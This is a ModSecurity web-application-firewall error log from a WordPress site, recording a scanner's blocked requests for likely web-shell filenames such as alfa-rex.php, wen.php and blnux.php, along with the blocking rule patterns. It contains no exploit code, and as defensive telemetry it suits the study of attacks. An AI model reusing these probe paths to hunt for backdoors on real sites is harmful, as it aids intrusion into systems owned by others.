[Mon Mar 30 00:48:04.116171 2026] [:error] [pid 32257:tid 32325] [client 40.75.84.21:43207] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock.php"] [unique_id "aclXxCE3TArOFrUtgWqnyAAAAIc"]
[Mon Mar 30 00:48:04.527412 2026] [:error] [pid 32257:tid 32326] [client 40.75.84.21:58671] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock.php"] [unique_id "aclXxCE3TArOFrUtgWqnzgAAAIg"]
[Mon Mar 30 00:48:05.019817 2026] [:error] [pid 23284:tid 23297] [client 40.75.84.21:5519] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/about.php"] [unique_id "aclXxYzBujdPHsq7wyQoiQAAAos"]
[Mon Mar 30 00:48:05.418977 2026] [:error] [pid 32257:tid 32335] [client 40.75.84.21:58644] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/Content/Type/index.php"] [unique_id "aclXxSE3TArOFrUtgWqn0wAAAJE"]
[Mon Mar 30 00:48:05.912988 2026] [:error] [pid 23284:tid 23302] [client 40.75.84.21:65064] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "aclXxYzBujdPHsq7wyQojAAAApA"]
[Mon Mar 30 00:48:06.387915 2026] [:error] [pid 23284:tid 23305] [client 40.75.84.21:47376] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "aclXxozBujdPHsq7wyQokAAAApM"]
[Mon Mar 30 00:48:06.935300 2026] [:error] [pid 23284:tid 23292] [client 40.75.84.21:65052] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "aclXxozBujdPHsq7wyQokwAAAoY"]
[Mon Mar 30 00:48:07.441833 2026] [:error] [pid 23250:tid 23266] [client 40.75.84.21:47372] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aclXx5xrpj-dQjy1cvonkAAAAk4"]
[Mon Mar 30 00:48:07.863767 2026] [:error] [pid 8818:tid 8835] [client 40.75.84.21:58630] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aclXxyCDvotZNSF0FBoJFAAAAU0"]
[Mon Mar 30 00:48:08.340275 2026] [:error] [pid 23284:tid 23302] [client 40.75.84.21:65048] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aclXyIzBujdPHsq7wyQomQAAApA"]
[Mon Mar 30 00:48:08.779786 2026] [:error] [pid 32254:tid 32265] [client 40.75.84.21:48474] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "aclXyKug2IHuyGgCTn9vwgAAAAE"]
[Mon Mar 30 00:48:09.194452 2026] [:error] [pid 23137:tid 23152] [client 40.75.84.21:5360] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "aclXyRaWQa7LdZ_qGFYZBwAAAY0"]
[Mon Mar 30 00:48:09.620762 2026] [:error] [pid 23284:tid 23294] [client 40.75.84.21:47395] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "aclXyYzBujdPHsq7wyQoowAAAog"]
[Mon Mar 30 00:48:10.186857 2026] [:error] [pid 32359:tid 32376] [client 40.75.84.21:5160] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "aclXygMb8G3UzfQP3WhGhgAAAM8"]
[Mon Mar 30 00:48:10.702441 2026] [:error] [pid 32257:tid 32324] [client 40.75.84.21:48508] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "aclXyiE3TArOFrUtgWqn4gAAAIY"]
[Mon Mar 30 00:48:11.167843 2026] [:error] [pid 32255:tid 32303] [client 40.75.84.21:58651] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "aclXy2nfn-AtRoMbquxB7wAAAEw"]
[Mon Mar 30 00:48:11.587940 2026] [:error] [pid 32255:tid 32306] [client 40.75.84.21:47373] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "aclXy2nfn-AtRoMbquxB8gAAAE8"]
[Mon Mar 30 00:48:12.083368 2026] [:error] [pid 8818:tid 8843] [client 40.75.84.21:36471] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "aclXzCCDvotZNSF0FBoJHgAAAVU"]
[Mon Mar 30 00:48:12.676505 2026] [:error] [pid 32255:tid 32296] [client 40.75.84.21:5512] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "aclXzGnfn-AtRoMbquxB9QAAAEU"]
[Mon Mar 30 00:48:13.150612 2026] [:error] [pid 32255:tid 32313] [client 40.75.84.21:58666] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "aclXzWnfn-AtRoMbquxB9wAAAFY"]
[Mon Mar 30 00:48:13.638407 2026] [:error] [pid 23284:tid 23305] [client 40.75.84.21:5145] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "aclXzYzBujdPHsq7wyQorgAAApM"]
[Mon Mar 30 00:48:14.289076 2026] [:error] [pid 8818:tid 8842] [client 40.75.84.21:58681] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "aclXziCDvotZNSF0FBoJIwAAAVQ"]
[Mon Mar 30 00:48:15.026561 2026] [:error] [pid 32257:tid 32332] [client 40.75.84.21:58639] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "aclXzyE3TArOFrUtgWqoBwAAAI4"]
[Mon Mar 30 00:48:15.566967 2026] [:error] [pid 23284:tid 23294] [client 40.75.84.21:65062] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "aclXz4zBujdPHsq7wyQovAAAAog"]
[Mon Mar 30 00:48:16.341105 2026] [:error] [pid 23137:tid 23145] [client 40.75.84.21:48465] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "aclX0BaWQa7LdZ_qGFYZDwAAAYY"]
[Mon Mar 30 00:48:16.845345 2026] [:error] [pid 32257:tid 32326] [client 40.75.84.21:36475] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/Content/Type/alfa-rex.php"] [unique_id "aclX0CE3TArOFrUtgWqoHwAAAIg"]
[Mon Mar 30 00:48:17.291907 2026] [:error] [pid 32255:tid 32309] [client 40.75.84.21:5986] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "aclX0Wnfn-AtRoMbquxB_wAAAFI"]
[Mon Mar 30 00:48:30.646454 2026] [:error] [pid 23284:tid 23286] [client 40.75.84.21:5326] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "aclX3ozBujdPHsq7wyQo_wAAAoA"]
[Mon Mar 30 00:48:47.331382 2026] [:error] [pid 23284:tid 23304] [client 40.75.84.21:37027] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "aclX74zBujdPHsq7wyQpXAAAApI"]
[Mon Mar 30 00:49:03.086320 2026] [:error] [pid 32255:tid 32302] [client 40.75.84.21:5159] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/images/crystal/about.php"] [unique_id "aclX_2nfn-AtRoMbquxCYAAAAEs"]
[Mon Mar 30 00:49:20.207114 2026] [:error] [pid 32257:tid 32334] [client 40.75.84.21:58242] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aclYECE3TArOFrUtgWqpaQAAAJA"]
[Mon Mar 30 01:08:40.268051 2026] [:error] [pid 23284:tid 23305] [client 43.153.19.83:41380] [client 43.153.19.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aclcmIzBujdPHsq7wyQ0pwAAApM"]
[Mon Mar 30 01:32:18.405138 2026] [:error] [pid 23250:tid 23263] [client 172.182.224.42:30373] [client 172.182.224.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "acliIpxrpj-dQjy1cvoxbAAAAks"]
[Mon Mar 30 01:32:19.040417 2026] [:error] [pid 32257:tid 32321] [client 172.182.224.42:5510] [client 172.182.224.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "acliIyE3TArOFrUtgWrJeAAAAIM"]
[Mon Mar 30 01:32:19.702944 2026] [:error] [pid 32257:tid 32338] [client 172.182.224.42:30945] [client 172.182.224.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "acliIyE3TArOFrUtgWrJfQAAAJQ"]
[Mon Mar 30 01:32:20.331564 2026] [:error] [pid 32254:tid 32271] [client 172.182.224.42:22274] [client 172.182.224.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "acliJKug2IHuyGgCTn916wAAAAc"]
[Mon Mar 30 03:34:40.231584 2026] [:error] [pid 4040:tid 4113] [client 216.73.216.13:32075] [client 216.73.216.13] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acl-0AxlbJV8kpOpFvYyWwAAAIU"]
[Mon Mar 30 03:37:28.788576 2026] [:error] [pid 4034:tid 4095] [client 40.75.84.21:22511] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anz.php"] [unique_id "acl_eLfAq8eF_uU4gu19kwAAAE4"]
[Mon Mar 30 03:37:29.504165 2026] [:error] [pid 4034:tid 4101] [client 40.75.84.21:22508] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anz.php"] [unique_id "acl_ebfAq8eF_uU4gu19lwAAAFQ"]
[Mon Mar 30 03:37:29.955971 2026] [:error] [pid 4033:tid 4069] [client 40.75.84.21:22511] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anz.php"] [unique_id "acl_eanf-DXI9VblHi0NnwAAABA"]
[Mon Mar 30 03:37:30.428295 2026] [:error] [pid 4033:tid 4070] [client 40.75.84.21:22485] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anz.php"] [unique_id "acl_eqnf-DXI9VblHi0NoQAAABE"]
[Mon Mar 30 03:37:30.833038 2026] [:error] [pid 4139:tid 4149] [client 40.75.84.21:22420] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acl_eoYyhg47TZoaP9LnPQAAAMI"]
[Mon Mar 30 03:37:31.239877 2026] [:error] [pid 4139:tid 4166] [client 40.75.84.21:22527] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acl_e4Yyhg47TZoaP9LnQgAAANM"]
[Mon Mar 30 03:37:31.642862 2026] [:error] [pid 4033:tid 4064] [client 40.75.84.21:22473] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acl_e6nf-DXI9VblHi0NqAAAAAs"]
[Mon Mar 30 03:37:32.050158 2026] [:error] [pid 4040:tid 4128] [client 40.75.84.21:22502] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acl_fAxlbJV8kpOpFvY01QAAAJQ"]
[Mon Mar 30 03:37:32.485068 2026] [:error] [pid 4040:tid 4111] [client 40.75.84.21:22523] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "acl_fAxlbJV8kpOpFvY01wAAAIM"]
[Mon Mar 30 03:37:32.910086 2026] [:error] [pid 4139:tid 4151] [client 40.75.84.21:22499] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "acl_fIYyhg47TZoaP9LnTwAAAMQ"]
[Mon Mar 30 03:37:33.374895 2026] [:error] [pid 4040:tid 4109] [client 40.75.84.21:22430] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "acl_fQxlbJV8kpOpFvY03gAAAIE"]
[Mon Mar 30 03:37:33.878407 2026] [:error] [pid 4139:tid 4160] [client 40.75.84.21:22469] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "acl_fYYyhg47TZoaP9LnWAAAAM0"]
[Mon Mar 30 03:37:34.281618 2026] [:error] [pid 4139:tid 4168] [client 40.75.84.21:22517] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "acl_foYyhg47TZoaP9LnXgAAANU"]
[Mon Mar 30 03:37:34.689314 2026] [:error] [pid 4139:tid 4156] [client 40.75.84.21:22428] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "acl_foYyhg47TZoaP9LnYQAAAMk"]
[Mon Mar 30 03:37:35.094206 2026] [:error] [pid 4040:tid 4110] [client 40.75.84.21:22496] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "acl_fwxlbJV8kpOpFvY07wAAAII"]
[Mon Mar 30 03:37:35.504497 2026] [:error] [pid 4033:tid 4075] [client 40.75.84.21:22440] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "acl_f6nf-DXI9VblHi0NsgAAABY"]
[Mon Mar 30 03:37:35.982537 2026] [:error] [pid 4139:tid 4148] [client 40.75.84.21:22510] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "acl_f4Yyhg47TZoaP9LncAAAAME"]
[Mon Mar 30 03:37:36.384581 2026] [:error] [pid 4040:tid 4110] [client 40.75.84.21:22412] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "acl_gAxlbJV8kpOpFvY0_AAAAII"]
